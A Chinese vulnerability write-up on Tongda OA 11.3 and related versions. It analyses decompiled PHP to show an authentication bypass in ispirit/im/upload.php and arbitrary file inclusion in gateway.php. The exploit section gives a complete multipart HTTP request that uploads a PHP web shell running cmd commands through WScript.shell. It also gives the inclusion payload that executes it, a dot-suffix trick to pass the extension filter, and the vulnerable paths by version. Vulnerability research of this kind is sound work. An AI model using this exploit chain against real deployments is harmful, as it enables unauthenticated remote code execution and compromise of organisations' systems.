0x1 影响范围
- V11版
- 2017版
- 2016版
- 2015版
- 2013版
- 2013增强版
0x02 环境搭建
通达OA11.3链接:https://pan.baidu.com/s/1_SpZe1W0Gso9phAdMmmXkg 提取码:xusf
0x03漏洞分析
安装完成后可以发现代码是加密的
zend 5.4解密工具:https://www.cr173.com/soft/418289.html
在线解密网站:http://dezend.qiling.org/free/
对web目录进行解密,也可以只解密需要分析的文件
3.1文件上传
存在文件上传漏洞的文件位置 ispirit\im\upload.php,代码如下
<?php
set_time_limit(0);
$P = $_POST["P"];
if (isset($P) || ($P != "")) {
ob_start();
include_once "inc/session.php";
session_id($P);
session_start();
session_write_close();
}
else {
include_once "./auth.php";
}
include_once "inc/utility_file.php";
include_once "inc/utility_msg.php";
include_once "mobile/inc/funcs.php";
ob_end_clean();
$TYPE = $_POST["TYPE"];
$DEST_UID = $_POST["DEST_UID"];
$dataBack = array();
if (($DEST_UID != "") && !td_verify_ids($ids)) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
echo json_encode(data2utf8($dataBack));
exit();
}
if (strpos($DEST_UID, ",") !== false) {
}
else {
$DEST_UID = intval($DEST_UID);
}
if ($DEST_UID == 0) {
if ($UPLOAD_MODE != 2) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
echo json_encode(data2utf8($dataBack));
exit();
}
}
$MODULE = "im";
if (1 <= count($_FILES)) {
if ($UPLOAD_MODE == "1") {
if (strlen(urldecode($_FILES["ATTACHMENT"]["name"])) != strlen($_FILES["ATTACHMENT"]["name"])) {
$_FILES["ATTACHMENT"]["name"] = urldecode($_FILES["ATTACHMENT"]["name"]);
}
}
$ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);
if (!is_array($ATTACHMENTS)) {
$dataBack = array("status" => 0, "content" => "-ERR " . $ATTACHMENTS);
echo json_encode(data2utf8($dataBack));
exit();
}
ob_end_clean();
$ATTACHMENT_ID = substr($ATTACHMENTS["ID"], 0, -1);
$ATTACHMENT_NAME = substr($ATTACHMENTS["NAME"], 0, -1);
if ($TYPE == "mobile") {
$ATTACHMENT_NAME = td_iconv(urldecode($ATTACHMENT_NAME), "utf-8", MYOA_CHARSET);
}
}
else {
$dataBack = array("status" => 0, "content" => "-ERR " . _("无文件上传"));
echo json_encode(data2utf8($dataBack));
exit();
}
$FILE_SIZE = attach_size($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
if (!$FILE_SIZE) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("文件上传失败"));
echo json_encode(data2utf8($dataBack));
exit();
}
if ($UPLOAD_MODE == "1") {
if (is_thumbable($ATTACHMENT_NAME)) {
$FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
$THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . "thumb_" . $ATTACHMENT_NAME;
CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
}
$P_VER = (is_numeric($P_VER) ? intval($P_VER) : 0);
$MSG_CATE = $_POST["MSG_CATE"];
if ($MSG_CATE == "file") {
$CONTENT = "[fm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/fm]";
}
else if ($MSG_CATE == "image") {
$CONTENT = "[im]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/im]";
}
else {
$DURATION = intval($DURATION);
$CONTENT = "[vm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $DURATION . "[/vm]";
}
$AID = 0;
$POS = strpos($ATTACHMENT_ID, "@");
if ($POS !== false) {
$AID = intval(substr($ATTACHMENT_ID, 0, $POS));
}
$query = "INSERT INTO im_offline_file (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG,AID) values ('" . date("Y-m-d H:i:s") . "','" . $_SESSION["LOGIN_UID"] . "','$DEST_UID','*" . $ATTACHMENT_ID . "." . $ATTACHMENT_NAME . "','$FILE_SIZE','0','$AID')";
$cursor = exequery(TD::conn(), $query);
$FILE_ID = mysql_insert_id();
if ($cursor === false) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("数据库操作失败"));
echo json_encode(data2utf8($dataBack));
exit();
}
$dataBack = array("status" => 1, "content" => $CONTENT, "file_id" => $FILE_ID);
echo json_encode(data2utf8($dataBack));
exit();
}
else if ($UPLOAD_MODE == "2") {
$DURATION = intval($_POST["DURATION"]);
$CONTENT = "[vm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $DURATION . "[/vm]";
$query = "INSERT INTO WEIXUN_SHARE (UID, CONTENT, ADDTIME) VALUES ('" . $_SESSION["LOGIN_UID"] . "', '" . $CONTENT . "', '" . time() . "')";
$cursor = exequery(TD::conn(), $query);
echo "+OK " . $CONTENT;
}
else if ($UPLOAD_MODE == "3") {
if (is_thumbable($ATTACHMENT_NAME)) {
$FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
$THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . "thumb_" . $ATTACHMENT_NAME;
CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
}
echo "+OK " . $ATTACHMENT_ID;
}
else {
$CONTENT = "[fm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/fm]";
$msg_id = send_msg($_SESSION["LOGIN_UID"], $DEST_UID, 1, $CONTENT, "", 2);
$query = "insert into IM_OFFLINE_FILE (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG) values ('" . date("Y-m-d H:i:s") . "','" . $_SESSION["LOGIN_UID"] . "','$DEST_UID','*" . $ATTACHMENT_ID . "." . $ATTACHMENT_NAME . "','$FILE_SIZE','0')";
$cursor = exequery(TD::conn(), $query);
$FILE_ID = mysql_insert_id();
if ($cursor === false) {
echo "-ERR " . _("数据库操作失败");
exit();
}
if ($FILE_ID == 0) {
echo "-ERR " . _("数据库操作失败2");
exit();
}
echo "+OK ," . $FILE_ID . "," . $msg_id;
exit();
}
?>
关键代码3-14行,这里只要传递参数"P"或参数P不为空,那么就不会进入else语句,auth.php主要实现身份认证功能,通过这里的参数"P"绕过登录认证
set_time_limit(0);
$P = $_POST["P"];
if (isset($P) || ($P != "")) {
ob_start();
include_once "inc/session.php";
session_id($P);
session_start();
session_write_close();
}
else {
include_once "./auth.php";
}
直接访问
传入P,已经绕过了登录限制
然后接下来根据流程,开始判断DEST_UID参数,只需要传入一个不为空和0的数字即可
$DEST_UID = $_POST["DEST_UID"];
$dataBack = array();
if (($DEST_UID != "") && !td_verify_ids($ids)) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
echo json_encode(data2utf8($dataBack));
exit();
}
if (strpos($DEST_UID, ",") !== false) {
}
else {
$DEST_UID = intval($DEST_UID);
}
if ($DEST_UID == 0) {
if ($UPLOAD_MODE != 2) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
echo json_encode(data2utf8($dataBack));
exit();
}
}
接下来继续跟进函数,只要是全局变量1 <= count($_FILES)即可,也就是有文件上传就会调用upload函数
if (1 <= count($_FILES)) {
if ($UPLOAD_MODE == "1") {
if (strlen(urldecode($_FILES["ATTACHMENT"]["name"])) != strlen($_FILES["ATTACHMENT"]["name"])) {
$_FILES["ATTACHMENT"]["name"] = urldecode($_FILES["ATTACHMENT"]["name"]);
}
}
$ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);
upload函数,位于inc/utility_file.php的1665行,代码如下
function upload($PREFIX, $MODULE, $OUTPUT)
{
if (strstr($MODULE, "/") || strstr($MODULE, "\\")) {
if (!$OUTPUT) {
return _("参数含有非法字符。");
}
Message(_("错误"), _("参数含有非法字符。"));
exit();
}
$ATTACHMENTS = array("ID" => "", "NAME" => "");
reset($_FILES);
foreach ($_FILES as $KEY => $ATTACHMENT ) {
if (($ATTACHMENT["error"] == 4) || (($KEY != $PREFIX) && (substr($KEY, 0, strlen($PREFIX) + 1) != $PREFIX . "_"))) {
continue;
}
$data_charset = (isset($_GET["data_charset"]) ? $_GET["data_charset"] : (isset($_POST["data_charset"]) ? $_POST["data_charset"] : ""));
$ATTACH_NAME = ($data_charset != "" ? td_iconv($ATTACHMENT["name"], $data_charset, MYOA_CHARSET) : $ATTACHMENT["name"]);
$ATTACH_SIZE = $ATTACHMENT["size"];
$ATTACH_ERROR = $ATTACHMENT["error"];
$ATTACH_FILE = $ATTACHMENT["tmp_name"];
$ERROR_DESC = "";
if ($ATTACH_ERROR == UPLOAD_ERR_OK) {
if (!is_uploadable($ATTACH_NAME)) {
$ERROR_DESC = sprintf(_("禁止上传后缀名为[%s]的文件"), substr($ATTACH_NAME, strrpos($ATTACH_NAME, ".") + 1));
}
$encode = mb_detect_encoding($ATTACH_NAME, array("ASCII", "UTF-8", "GB2312", "GBK", "BIG5"));
if ($encode != "UTF-8") {
$ATTACH_NAME_UTF8 = mb_convert_encoding($ATTACH_NAME, "utf-8", MYOA_CHARSET);
}
else {
$ATTACH_NAME_UTF8 = $ATTACH_NAME;
}
if (preg_match("/[\':<>?]|\/|\\\\|\"|\|/u", $ATTACH_NAME_UTF8)) {
$ERROR_DESC = sprintf(_("文件名[%s]包含[/\'\":*?<>|]等非法字符"), $ATTACH_NAME);
}
if ($ATTACH_SIZE == 0) {
$ERROR_DESC = sprintf(_("文件[%s]大小为0字节"), $ATTACH_NAME);
}
if ($ERROR_DESC == "") {
$ATTACH_NAME = str_replace("'", "", $ATTACH_NAME);
$ATTACH_ID = add_attach($ATTACH_FILE, $ATTACH_NAME, $MODULE);
if ($ATTACH_ID === false) {
$ERROR_DESC = sprintf(_("文件[%s]上传失败"), $ATTACH_NAME);
}
else {
$ATTACHMENTS["ID"] .= $ATTACH_ID . ",";
$ATTACHMENTS["NAME"] .= $ATTACH_NAME . "*";
}
}
@unlink($ATTACH_FILE);
}
else if ($ATTACH_ERROR == UPLOAD_ERR_INI_SIZE) {
$ERROR_DESC = sprintf(_("文件[%s]的大小超过了系统限制(%s)"), $ATTACH_NAME, ini_get("upload_max_filesize"));
}
else if ($ATTACH_ERROR == UPLOAD_ERR_FORM_SIZE) {
$ERROR_DESC = sprintf(_("文件[%s]的大小超过了表单限制"), $ATTACH_NAME);
}
else if ($ATTACH_ERROR == UPLOAD_ERR_PARTIAL) {
$ERROR_DESC = sprintf(_("文件[%s]上传不完整"), $ATTACH_NAME);
}
else if ($ATTACH_ERROR == UPLOAD_ERR_NO_TMP_DIR) {
$ERROR_DESC = sprintf(_("文件[%s]上传失败:找不到临时文件夹"), $ATTACH_NAME);
}
else if ($ATTACH_ERROR == UPLOAD_ERR_CANT_WRITE) {
$ERROR_DESC = sprintf(_("文件[%s]写入失败"), $ATTACH_NAME);
}
else {
$ERROR_DESC = sprintf(_("未知错误[代码:%s]"), $ATTACH_ERROR);
}
if ($ERROR_DESC != "") {
if (!$OUTPUT) {
delete_attach($ATTACHMENTS["ID"], $ATTACHMENTS["NAME"], $MODULE);
return $ERROR_DESC;
}
else {
Message(_("错误"), $ERROR_DESC);
}
}
}
return $ATTACHMENTS;
}
调用了同文件下的is_uploadable()函数对文件名进行检查:
if (!is_uploadable($ATTACH_NAME)) {
$ERROR_DESC = sprintf(_("禁止上传后缀名为[%s]的文件"), substr($ATTACH_NAME, strrpos($ATTACH_NAME, ".") + 1));
}
圈出来的代码代码意思是寻找最后一次出现 . 的位置,然后寻找后三个字符,然后变成小写字符看是否匹配字符’php’,绕过方式也很简单在最后加.即可,不过上传的文件不在web目录所以没什么用
然后构造文件上传包
POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.10.161
Content-Length: 656
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJQo61MS4LliQDRSH
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryJQo61MS4LliQDRSH
Content-Disposition: form-data; name="UPLOAD_MODE"
1
------WebKitFormBoundaryJQo61MS4LliQDRSH
Content-Disposition: form-data; name="P"
1
------WebKitFormBoundaryJQo61MS4LliQDRSH
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundaryJQo61MS4LliQDRSH
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundaryJQo61MS4LliQDRSH--
文件存在于MYOA\attach\im 下
3.2文件包含
漏洞文件位于ispirit/interface/gateway.php
<?php
ob_start();
include_once "inc/session.php";
include_once "inc/conn.php";
include_once "inc/utility_org.php";
if ($P != "") {
if (preg_match("/[^a-z0-9;]+/i", $P)) {
echo _("非法参数");
exit();
}
session_id($P);
session_start();
session_write_close();
if (($_SESSION["LOGIN_USER_ID"] == "") || ($_SESSION["LOGIN_UID"] == "")) {
echo _("RELOGIN");
exit();
}
}
if ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json);
foreach ($json as $key => $val ) {
if ($key == "data") {
$val = (array) $val;
foreach ($val as $keys => $value ) {
$keys = $value;
}
}
if ($key == "url") {
$url = $val;
}
}
if ($url != "") {
if (substr($url, 0, 1) == "/") {
$url = substr($url, 1);
}
if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
include_once $url;
}
}
exit();
}
?>
对$P进行了是否为空、判断当前用户是否登录,只需要使$P为空就不会进入if条件
if ($P != "") {
if (preg_match("/[^a-z0-9;]+/i", $P)) {
echo _("非法参数");
exit();
}
session_id($P);
session_start();
session_write_close();
if (($_SESSION["LOGIN_USER_ID"] == "") || ($_SESSION["LOGIN_UID"] == "")) {
echo _("RELOGIN");
exit();
}
}
之后从json中获取url参数的,以只要在传入的json数据中使url参数中包含ispirit/、general/、module/再跳转目录到包含的文件即可进行任意文件包含。
if ($json) {
$json = stripcslashes($json); //去掉反斜杠
$json = (array) json_decode($json);//转为数组
//遍历
foreach ($json as $key => $val ) {
if ($key == "data") {
$val = (array) $val;
foreach ($val as $keys => $value ) {
$keys = $value;
}
}
//判断是否有url这个键,有的话把值赋值给$url
if ($key == "url") {
$url = $val;
}
}
//$url不为空进入if
if ($url != "") {
//如果是/开头,就去除/
if (substr($url, 0, 1) == "/") {
$url = substr($url, 1);
}
//判断参数是否包含ispirit/、general/、module/
if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
include_once $url;
}
}
exit();
}
0x04 漏洞复现
成功上传后,现在开始包含payload:
json={"url":"ispirit/../../attach/im/2204/436106789.jpg"}&cmd=whoami
成功执行
前面说过可以用.php.来绕过is_uploadable函数的检测,这里演示一下
查看
0x05版本路径
有些版本gateway.php路径不同
例如2013:
/ispirit/im/upload.php
/ispirit/interface/gateway.php
例如2017:
/ispirit/im/upload.php
/mac/gateway.php